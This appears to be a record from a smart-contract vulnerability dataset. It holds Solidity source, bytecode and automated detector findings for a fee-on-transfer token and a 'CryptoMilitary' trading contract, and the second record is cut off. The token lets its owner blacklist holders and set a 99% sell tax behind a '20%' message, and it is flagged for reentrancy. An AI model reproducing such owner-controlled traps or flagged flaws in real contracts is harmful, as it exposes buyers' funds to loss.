uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055d578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b8063a2a957bb146104d8578063a9059cbb146104f8578063bfd7928414610518578063c3c8cd801461054857600080fd5b80638f70ccf7116100d15780638f70ccf7146104565780638f9a55c01461047657806395d89b411461048c57806398a5c315146104b857600080fd5b80637d1db4a5146103f55780637f2feddc1461040b5780638da5cb5b1461043857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038b57806370a08231146103a0578063715018a6146103c057806374010ece146103d557600080fd5b8063313ce5671461030f57806349bd5a5e1461032b5780636b9990531461034b5780636d8aa8f81461036b57600080fd5b80631694505e116101ab5780631694505e1461027b57806318160ddd146102b357806323b872dd146102d95780632fd689e3146102f957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611af1565b610603565b005b34801561020a57600080fd5b506040805180820190915260128152712ab63a34b6b0ba32902337b6b79021b63ab160711b60208201525b6040516102429190611bb6565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611c0b565b6106a2565b6040519015158152602001610242565b34801561028757600080fd5b5060145461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b50683635c9adc5dea000005b604051908152602001610242565b3480156102e557600080fd5b5061026b6102f4366004611c37565b6106b9565b34801561030557600080fd5b506102cb60185481565b34801561031b57600080fd5b5060405160098152602001610242565b34801561033757600080fd5b5060155461029b906001600160a01b031681565b34801561035757600080fd5b506101fc610366366004611c78565b610722565b34801561037757600080fd5b506101fc610386366004611ca5565b61076d565b34801561039757600080fd5b506101fc6107b5565b3480156103ac57600080fd5b506102cb6103bb366004611c78565b610800565b3480156103cc57600080fd5b506101fc610822565b3480156103e157600080fd5b506101fc6103f0366004611cc0565b610896565b34801561040157600080fd5b506102cb60165481565b34801561041757600080fd5b506102cb610426366004611c78565b60116020526000908152604090205481565b34801561044457600080fd5b506000546001600160a01b031661029b565b34801561046257600080fd5b506101fc610471366004611ca5565b6108d5565b34801561048257600080fd5b506102cb60175481565b34801561049857600080fd5b5060408051808201909152600381526255464360e81b6020820152610235565b3480156104c457600080fd5b506101fc6104d3366004611cc0565b61091d565b3480156104e457600080fd5b506101fc6104f3366004611cd9565b61094c565b34801561050457600080fd5b5061026b610513366004611c0b565b610b02565b34801561052457600080fd5b5061026b610533366004611c78565b60106020526000908152604090205460ff1681565b34801561055457600080fd5b506101fc610b0f565b34801561056957600080fd5b506101fc610578366004611d0b565b610b63565b34801561058957600080fd5b506102cb610598366004611d8f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611cc0565b610c04565b3480156105ef57600080fd5b506101fc6105fe366004611c78565b610c33565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611dc8565b60405180910390fd5b60005b815181101561069e5760016010600084848151811061065a5761065a611dfd565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611e29565b915050610639565b5050565b60006106af338484610d1d565b5060015b92915050565b60006106c6848484610e41565b610718843361071385604051806060016040528060288152602001611f43602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061137d565b610d1d565b5060019392505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161062d90611dc8565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161062d90611dc8565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ea57506013546001600160a01b0316336001600160a01b0316145b6107f357600080fd5b476107fd816113b7565b50565b6001600160a01b0381166000908152600260205260408120546106b3906113f1565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161062d90611dc8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161062d90611dc8565b674563918244f400008111156107fd57601655565b6000546001600160a01b031633146108ff5760405162461bcd60e51b815260040161062d90611dc8565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109475760405162461bcd60e51b815260040161062d90611dc8565b601855565b6000546001600160a01b031633146109765760405162461bcd60e51b815260040161062d90611dc8565b60048411156109d55760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b606482015260840161062d565b6014821115610a315760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b606482015260840161062d565b6004831115610a915760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b606482015260840161062d565b6063811115610aee5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b606482015260840161062d565b600893909355600a91909155600955600b55565b60006106af338484610e41565b6012546001600160a01b0316336001600160a01b03161480610b4457506013546001600160a01b0316336001600160a01b0316145b610b4d57600080fd5b6000610b5830610800565b90506107fd81611475565b6000546001600160a01b03163314610b8d5760405162461bcd60e51b815260040161062d90611dc8565b60005b82811015610bfe578160056000868685818110610baf57610baf611dfd565b9050602002016020810190610bc49190611c78565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf681611e29565b915050610b90565b50505050565b6000546001600160a01b03163314610c2e5760405162461bcd60e51b815260040161062d90611dc8565b601755565b6000546001600160a01b03163314610c5d5760405162461bcd60e51b815260040161062d90611dc8565b6001600160a01b038116610cc25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d7f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610de05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610f075760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610f695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6000546001600160a01b03848116911614801590610f9557506000546001600160a01b03838116911614155b1561127657601554600160a01b900460ff1661102e576000546001600160a01b0384811691161461102e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062d565b6016548111156110805760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b03831660009081526010602052604090205460ff161580156110c257506001600160a01b03821660009081526010602052604090205460ff16155b61111a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b6015546001600160a01b0383811691161461119f576017548161113c84610800565b6111469190611e44565b1061119f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b60006111aa30610800565b6018546016549192508210159082106111c35760165491505b8080156111da5750601554600160a81b900460ff16155b80156111f457506015546001600160a01b03868116911614155b80156112095750601554600160b01b900460ff165b801561122e57506001600160a01b03851660009081526005602052604090205460ff16155b801561125357506001600160a01b03841660009081526005602052604090205460ff16155b156112735761126182611475565b47801561127157611271476113b7565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b857506001600160a01b03831660009081526005602052604090205460ff165b806112ea57506015546001600160a01b038581169116148015906112ea57506015546001600160a01b03848116911614155b156112f757506000611371565b6015546001600160a01b03858116911614801561132257506014546001600160a01b03848116911614155b1561133457600854600c55600954600d555b6015546001600160a01b03848116911614801561135f57506014546001600160a01b03858116911614155b1561137157600a54600c55600b54600d555b610bfe848484846115fe565b600081848411156113a15760405162461bcd60e51b815260040161062d9190611bb6565b5060006113ae8486611e5c565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069e573d6000803e3d6000fd5b60006006548211156114585760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062d565b600061146261162c565b905061146e838261164f565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114bd576114bd611dfd565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561151157600080fd5b505afa158015611525573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115499190611e73565b8160018151811061155c5761155c611dfd565b6001600160a01b0392831660209182029290920101526014546115829130911684610d1d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115bb908590600090869030904290600401611e90565b600060405180830381600087803b1580156115d557600080fd5b505af11580156115e9573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061160b5761160b611691565b6116168484846116bf565b80610bfe57610bfe600e54600c55600f54600d55565b60008060006116396117b6565b9092509050611648828261164f565b9250505090565b600061146e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f8565b600c541580156116a15750600d54155b156116a857565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116d187611826565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117039087611883565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461173290866118c5565b6001600160a01b03891660009081526002602052604090205561175481611924565b61175e848361196e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117a391815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117d2828261164f565b8210156117ef57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118195760405162461bcd60e51b815260040161062d9190611bb6565b5060006113ae8486611f01565b60008060008060008060008060006118438a600c54600d54611992565b925092509250600061185361162c565b905060008060006118668e8787876119e7565b919e509c509a509598509396509194505050505091939550919395565b600061146e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061137d565b6000806118d28385611e44565b90508381101561146e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b600061192e61162c565b9050600061193c8383611a37565b3060009081526002602052604090205490915061195990826118c5565b30600090815260026020526040902055505050565b60065461197b9083611883565b60065560075461198b90826118c5565b6007555050565b60008080806119ac60646119a68989611a37565b9061164f565b905060006119bf60646119a68a89611a37565b905060006119d7826119d18b86611883565b90611883565b9992985090965090945050505050565b60008080806119f68886611a37565b90506000611a048887611a37565b90506000611a128888611a37565b90506000611a24826119d18686611883565b939b939a50919850919650505050505050565b600082611a46575060006106b3565b6000611a528385611f23565b905082611a5f8583611f01565b1461146e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b8035611aec81611acc565b919050565b60006020808385031215611b0457600080fd5b823567ffffffffffffffff80821115611b1c57600080fd5b818501915085601f830112611b3057600080fd5b813581811115611b4257611b42611ab6565b8060051b604051601f19603f83011681018181108582111715611b6757611b67611ab6565b604052918252848201925083810185019188831115611b8557600080fd5b938501935b82851015611baa57611b9b85611ae1565b84529385019392850192611b8a565b98975050505050505050565b600060208083528351808285015260005b81811015611be357858101830151858201604001528201611bc7565b81811115611bf5576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1e57600080fd5b8235611c2981611acc565b946020939093013593505050565b600080600060608486031215611c4c57600080fd5b8335611c5781611acc565b92506020840135611c6781611acc565b929592945050506040919091013590565b600060208284031215611c8a57600080fd5b813561146e81611acc565b80358015158114611aec57600080fd5b600060208284031215611cb757600080fd5b61146e82611c95565b600060208284031215611cd257600080fd5b5035919050565b60008060008060808587031215611cef57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d2057600080fd5b833567ffffffffffffffff80821115611d3857600080fd5b818601915086601f830112611d4c57600080fd5b813581811115611d5b57600080fd5b8760208260051b8501011115611d7057600080fd5b602092830195509350611d869186019050611c95565b90509250925092565b60008060408385031215611da257600080fd5b8235611dad81611acc565b91506020830135611dbd81611acc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3d57611e3d611e13565b5060010190565b60008219821115611e5757611e57611e13565b500190565b600082821015611e6e57611e6e611e13565b500390565b600060208284031215611e8557600080fd5b815161146e81611acc565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ee05784516001600160a01b031683529383019391830191600101611ebb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3d57611f3d611e13565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122003551a60f15116745e29753b7b63287ef734afb3da2ffe66fcab49bdd41f239664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
1,362
0xdca726c80520e9ae4bf1786a1fce32538ee11e79
pragma solidity ^0.4.21; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract CryptoMilitary { using SafeMath for uint256; event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); address private owner; mapping (address => bool) private admins; IItemRegistry private itemRegistry; bool private erc721Enabled = false; uint256 private increaseLimit1 = 0.2 ether; uint256 private increaseLimit2 = 5 ether; uint256 private increaseLimit3 = 30 ether; uint256 private increaseLimit4 = 90 ether; uint256[] private listedItems; mapping (uint256 => address) private ownerOfItem; mapping (uint256 => uint256) private startingPriceOfItem; mapping (uint256 => uint256) private priceOfItem; mapping (uint256 => address) private approvedOfItem; mapping (address => string) private ownerNameOfItem; function CryptoMilitary () public { owner = msg.sender; admins[owner] = true; } /* Modifiers */ modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyAdmins() { require(admins[msg.sender]); _; } modifier onlyERC721() { require(erc721Enabled); _; } /* Owner */ function setOwner (address _owner) onlyOwner() public { owner = _owner; } function setItemRegistry (address _itemRegistry) onlyOwner() public { itemRegistry = IItemRegistry(_itemRegistry); } function addAdmin (address _admin) onlyOwner() public { admins[_admin] = true; } function removeAdmin (address _admin) onlyOwner() public { delete admins[_admin]; } // Unlocks ERC721 behaviour, allowing for trading on third party platforms. function enableERC721 () onlyOwner() public { erc721Enabled = true; } /* Withdraw */ /* NOTICE: These functions withdraw the developer's cut which is left in the contract by `buy`. User funds are immediately sent to the old owner in `buy`, no user funds are left in the contract. */ function withdrawAll () onlyOwner() public { owner.transfer(this.balance); } function withdrawAmount (uint256 _amount) onlyOwner() public { owner.transfer(_amount); } function getCurrentBalance() public view returns (uint256 balance) { return this.balance; } /* Listing */ function populateFromItemRegistry (uint256[] _itemIds) onlyOwner() public { for (uint256 i = 0; i < _itemIds.length; i++) { if (priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) { continue; } listItemFromRegistry(_itemIds[i]); } } function listItemFromRegistry (uint256 _itemId) onlyOwner() public { require(itemRegistry != address(0)); require(itemRegistry.ownerOf(_itemId) != address(0)); require(itemRegistry.priceOf(_itemId) > 0); uint256 price = itemRegistry.priceOf(_itemId); address itemOwner = itemRegistry.ownerOf(_itemId); listItem(_itemId, price, itemOwner); } function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner) onlyAdmins() external { for (uint256 i = 0; i < _itemIds.length; i++) { listItem(_itemIds[i], _price, _owner); } } function listItem (uint256 _itemId, uint256 _price, address _owner) onlyAdmins() public { require(_price > 0); require(priceOfItem[_itemId] == 0); require(ownerOfItem[_itemId] == address(0)); ownerOfItem[_itemId] = _owner; priceOfItem[_itemId] = _price; startingPriceOfItem[_itemId] = _price; listedItems.push(_itemId); } function setOwnerName (address _owner, string _name) public { require(keccak256(ownerNameOfItem[_owner]) != keccak256(_name)); ownerNameOfItem[_owner] = _name; } function getOwnerName (address _owner) public view returns (string _name) { return ownerNameOfItem[_owner]; } /* Buying */ function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) { if (_price < increaseLimit1) { return _price.mul(200).div(98); } else if (_price < increaseLimit2) { return _price.mul(135).div(97); } else if (_price < increaseLimit3) { return _price.mul(125).div(96); } else if (_price < increaseLimit4) { return _price.mul(117).div(95); } else { return _price.mul(115).div(95); } } function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) { if (_price < increaseLimit1) { return _price.mul(8).div(100); // 8% } else if (_price < increaseLimit2) { return _price.mul(7).div(100); // 7% } else if (_price < increaseLimit3) { return _price.mul(6).div(100); // 6% } else if (_price < increaseLimit4) { return _price.mul(5).div(100); // 5% } else { return _price.mul(5).div(100); // 5% } } /* Buy a country directly from the contract for the calculated price which ensures that the owner gets a profit. All militaries that have been listed can be bought by this method. User funds are sent directly to the previous owner and are never stored in the contract. */ function buy (uint256 _itemId) payable public { require(priceOf(_itemId) > 0); require(ownerOf(_itemId) != address(0)); require(msg.value >= priceOf(_itemId)); require(ownerOf(_itemId) != msg.sender); require(!isContract(msg.sender)); require(msg.sender != address(0)); address oldOwner = ownerOf(_itemId); address newOwner = msg.sender; uint256 price = priceOf(_itemId); uint256 excess = msg.value.sub(price); _transfer(oldOwner, newOwner, _itemId); priceOfItem[_itemId] = nextPriceOf(_itemId); emit Bought(_itemId, newOwner, price); emit Sold(_itemId, oldOwner, price); // Devevloper's cut which is left in contract and accesed by // `withdrawAll` and `withdrawAmountTo` methods. uint256 devCut = calculateDevCut(price); // Transfer payment to old owner minus the developer's cut. oldOwner.transfer(price.sub(devCut)); if (excess > 0) { newOwner.transfer(excess); } } /* ERC721 */ function implementsERC721() public view returns (bool _implements) { return erc721Enabled; } function name() public pure returns (string _name) { return "CryptoMilitary"; } function symbol() public pure returns (string _symbol) { return "CMT"; } function totalSupply() public view returns (uint256 _totalSupply) { return listedItems.length; } function balanceOf (address _owner) public view returns (uint256 _balance) { uint256 counter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { counter++; } } return counter; } function ownerOf (uint256 _itemId) public view returns (address _owner) { return ownerOfItem[_itemId]; } function tokensOf (address _owner) public view returns (uint256[] _tokenIds) { uint256[] memory items = new uint256[](balanceOf(_owner)); uint256 itemCounter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { items[itemCounter] = listedItems[i]; itemCounter += 1; } } return items; } function tokenExists (uint256 _itemId) public view returns (bool _exists) { return priceOf(_itemId) > 0; } function approvedFor(uint256 _itemId) public view returns (address _approved) { return approvedOfItem[_itemId]; } function approve(address _to, uint256 _itemId) onlyERC721() public { require(msg.sender != _to); require(tokenExists(_itemId)); require(ownerOf(_itemId) == msg.sender); if (_to == 0) { if (approvedOfItem[_itemId] != 0) { delete approvedOfItem[_itemId]; emit Approval(msg.sender, 0, _itemId); } } else { approvedOfItem[_itemId] = _to; emit Approval(msg.sender, _to, _itemId); } } /* Transferring a country to another owner will entitle the new owner the profits from `buy` */ function transfer(address _to, uint256 _itemId) onlyERC721() public { require(msg.sender == ownerOf(_itemId)); _transfer(msg.sender, _to, _itemId); } function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public { require(approvedFor(_itemId) == msg.sender); _transfer(_from, _to, _itemId); } function _transfer(address _from, address _to, uint256 _itemId) internal { require(tokenExists(_itemId)); require(ownerOf(_itemId) == _from); require(_to != address(0)); require(_to != address(this)); ownerOfItem[_itemId] = _to; approvedOfItem[_itemId] = 0; emit Transfer(_from, _to, _itemId); } /* Read */ function isAdmin (address _admin) public view returns (bool _isAdmin) { return admins[_admin]; } function startingPriceOf (uint256 _itemId) public view returns (uint256 _startingPrice) { return startingPriceOfItem[_itemId]; } function priceOf (uint256 _itemId) public view returns (uint256 _price) { return priceOfItem[_itemId]; } function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) { return calculateNextPrice(priceOf(_itemId)); } function allOf (uint256 _itemId) external view returns (address _owner, uint256 _price, uint256 _nextPrice) { return (ownerOf(_itemId),priceOf(_itemId), nextPriceOf(_itemId)); } function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items) { uint256[] memory items = new uint256[](_take); for (uint256 i = 0; i < _take; i++) { items[i] = listedItems[_from + i]; } return items; } /* Util */ function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } // solium-disable-line return size > 0; } } interface IItemRegistry { function itemsForSaleLimit (uint256 _from, uint256 _take) external view returns (uint256[] _items); function ownerOf (uint256 _itemId) external view returns (address _owner); function priceOf (uint256 _itemId) external view returns (uint256 _price); }
0x6060604052600436106101b6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062923f9e146101bb5780630562b9f7146101f657806306fdde0314610219578063095ea7b3146102a75780631051db34146102e957806313af4035146103165780631785f53c1461034f57806318160ddd146103885780631fe8500e146103b157806323b872dd146103ea57806324d7806c1461044b5780632a6dd48f1461049c5780632e4f43bf146104ff57806337525ff014610570578063413699de14610593578063442edd031461060f5780635435bac81461065a5780635a3f2672146106db5780635ba9e48e146107695780636352211e146107a05780636512120514610803578063704802751461083a57806370a082311461087357806371dc761e146108c0578063853828b6146108d55780638f88aed0146108ea57806395d89b4114610944578063a5749710146109d2578063a9059cbb146109fb578063af7520b914610a3d578063b9186d7d14610a74578063baddee6f14610aab578063bedefffe14610b01578063d96a094a14610bb3578063e08503ec14610bcb575b600080fd5b34156101c657600080fd5b6101dc6004808035906020019091905050610c02565b604051808215151515815260200191505060405180910390f35b341561020157600080fd5b6102176004808035906020019091905050610c16565b005b341561022457600080fd5b61022c610cd5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561026c578082015181840152602081019050610251565b50505050905090810190601f1680156102995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102b257600080fd5b6102e7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d18565b005b34156102f457600080fd5b6102fc610f7e565b604051808215151515815260200191505060405180910390f35b341561032157600080fd5b61034d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f95565b005b341561035a57600080fd5b610386600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611033565b005b341561039357600080fd5b61039b6110e0565b6040518082815260200191505060405180910390f35b34156103bc57600080fd5b6103e8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110ed565b005b34156103f557600080fd5b610449600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061118c565b005b341561045657600080fd5b610482600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111f9565b604051808215151515815260200191505060405180910390f35b34156104a757600080fd5b6104bd600480803590602001909190505061124f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff